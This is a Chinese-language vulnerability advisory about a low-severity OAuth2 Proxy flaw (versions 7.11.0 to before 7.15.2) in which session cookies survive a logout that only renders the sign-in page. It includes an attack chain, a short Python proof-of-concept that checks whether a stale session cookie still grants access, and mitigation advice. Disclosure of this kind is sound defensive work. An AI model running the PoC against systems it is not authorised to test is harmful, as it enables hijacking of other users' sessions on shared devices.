IPBUF安全漏洞报告
English
CVE-2026-34454 CVSS 3.5 低危

CVE-2026-34454 OAuth2 Proxy会话清理失效漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34454
漏洞类型
会话管理失效
CVSS评分
3.5 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OAuth2 Proxy

相关标签

Session ManagementLogic FlawOAuth2 ProxyCWE-613

漏洞概述

OAuth2 Proxy在7.11.0版本引入回归问题,导致渲染登录页面时无法清除会话Cookie。若部署依赖登录页面作为登出流程,用户虽看到登录界面,但会话Cookie仍有效。在共享设备上,后续用户可利用残留会话继续访问。该漏洞仅影响依赖登录页面登出的部署,已在7.15.2版本修复。

技术细节

该漏洞源于OAuth2 Proxy在版本7.11.0中引入的代码回归。正常情况下,当用户访问登出端点或被重定向到登录页面时,应用程序应当清除浏览器中的会话Cookie以终止会话。然而,受影响的版本在渲染登录页面的响应逻辑中存在缺陷,未能发送清除Cookie的Set-Cookie指令。这导致了一种逻辑漏洞:虽然前端界面显示为未登录状态,但客户端存储的认证凭据依然有效且未过期。攻击者或共享设备的后续用户无需进行身份认证,直接携带该Cookie即可访问受保护的后端资源。此漏洞的前提条件是攻击者必须能够物理接触到受害者的设备(AV:P),且部署环境未使用专用的logout端点。利用方式相对简单,只需在用户“登出”后,访问受保护的资源路径即可验证会话是否依然存活。

攻击链分析

STEP 1
1
前一用户在共享工作站上完成工作,尝试登出系统。
STEP 2
2
系统将用户重定向至登录页面,但由于漏洞,服务器未发送清除Cookie的指令,浏览器保留会话Cookie。
STEP 3
3
攻击者或后续用户物理接触该工作站,打开浏览器访问受保护的内部资源。
STEP 4
4
浏览器自动发送残留的有效会话Cookie给OAuth2 Proxy。
STEP 5
5
OAuth2 Proxy验证Cookie有效,允许攻击者以前一用户身份通过认证并获取数据访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "https://target-oauth2-proxy.com/" sign_in_url = "https://target-oauth2-proxy.com/oauth2/sign_in" # Create a session to simulate a browser session = requests.Session() # Step 1: Simulate a session that a user left behind # In a real scenario, this cookie is obtained after authentication session.cookies.set("_oauth2_proxy", "VALID_SESSION_COOKIE_TOKEN_HERE") print("[*] Simulating user logout by visiting sign-in page...") # Step 2: Trigger the logout flow (rendering the sign-in page) # The vulnerability occurs when the sign-in page is rendered as part of logout response = session.get(sign_in_url) # Step 3: Check if the session cookie persists after logout remaining_cookie = session.cookies.get("_oauth2_proxy") if remaining_cookie: print("[+] Vulnerability Confirmed: Session cookie was NOT cleared.") print(f"[+] Cookie Value: {remaining_cookie}") print("[+] A subsequent user on this workstation can still access the session.") # Verify access verify_resp = session.get(target_url) if verify_resp.status_code == 200: print("[+] Successfully accessed protected resource using the stale session.") else: print("[-] Session cookie cleared. System patched or using dedicated logout endpoint.")

影响范围

OAuth2 Proxy >= 7.11.0, < 7.15.2

防御指南

临时缓解措施
如果无法立即升级,请确保应用程序的登出流程严格调用专用的OAuth2 Proxy登出端点(如/oauth2/sign_out),而不是仅仅重定向到登录页面。此外,应实施严格的物理访问控制策略,防止未授权人员接触已登录的终端,并在公共设备上启用全站自动登出功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表